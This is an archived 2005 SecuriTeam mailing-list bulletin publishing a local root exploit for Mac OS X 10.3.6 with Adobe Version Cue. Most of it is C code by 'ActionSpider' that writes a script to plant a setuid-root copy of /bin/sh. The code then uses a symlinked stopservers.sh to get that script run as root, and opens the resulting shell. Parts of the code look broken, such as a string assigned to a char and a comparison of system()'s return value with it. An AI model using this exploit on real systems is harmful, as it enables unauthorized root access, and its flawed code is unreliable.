

[EXPL] Mac OS X / Adobe Version Cue Local Root (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0097.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/17/05

To: list@securiteam.com

Date: 17 May 2005 11:18:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mac OS X / Adobe Version Cue Local Root (Exploit)

SUMMARY

A vulnerability in Mac OS X when its bundled with Adobe Version Cue allows a local attacker to create a suid root shell with a non-privileged user.

Adobe Version Cue is installed by default with virtually every recent Adobe product. This most likely affects many versions of Mac OS X and Adobe Version Cue.

DETAILS

Vulnerable Systems:

- * Mac OS X version 10.3.6 with Adobe products

Exploit:

```
/******\
```

```
[ Mac OS X – Adobe Version Cue local root exploit ]
```

```
  c version exploit
```

```
---=== by ActionSpider ===---
```

```
  Iam sun-os hehehe ActionSpider@Linuxmail.org
```

[<http://www.Ashiyane.com>]

Securiteam: [EXPL] Mac OS X / Adobe Version Cue Local Root (Exploit)

[<http://www.Ashiyane.net>]

[<http://defacers.com.mx>]

```
*****|
Greetz to: [ Behrooz & Nima & Ehsan & str0ke & Status-x & Mafia_Boy &
stealh ]
&&
Greetz to: [ and all member of SegmentationFault Group
Code written By ActionSpider Mac OS X – Adobe Version [C] version
Exploit;)
\*****/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

int main(){
int x=1;
char a= "root";

printf("\t[ Mac OS X – Adobe Version Cue local root exploit ]\n");
printf("\t\t---Code written By ActionSpider---\n");
printf("\t\t---ActionSpider@Linuxmail.org---\n");
printf("\t\t[ www.Ashiyane.com ]\n\n");

printf("w8 for geting root man...\n");
for (x=1;x<=75;x++){
printf("#");}

printf("\nyour id now:");
system("id");
printf("touch productname.sh...");
system("echo cp /bin/sh /Users/$USER; >> productname.sh");
system("echo chmod 4755 /Users/$USER/sh; >> productname.sh");
system("echo chown root /Users/$USER/sh >> productname.sh");
printf("chmod productname.sh 0755");
system("chmod 0755 ./productname.sh");
printf("ok w8 for touch link...");
system("ln -s $path/stopservers.sh");
printf("exection it :p hehe\n");
system("./stopservers.sh");
system("./sh");
printf("ok w8 for see system rooted or not \n\n");

system("id");
if (system("whoami") == a)
printf("\n\n ok system now rooted hehe...:P");
else
printf("sory this server is patch :(\n");
}
```

Securiteam: [EXPL] Mac OS X / Adobe Version Cue Local Root (Exploit)

/* EOF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:actionspider@gmail.com> ali reza AcTiOnSpIdEr .

The advisory can found at:

<<http://www.securiteam.com/securitynews/6M00B0KCOU.html>>

<http://www.securiteam.com/securitynews/6M00B0KCOU.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.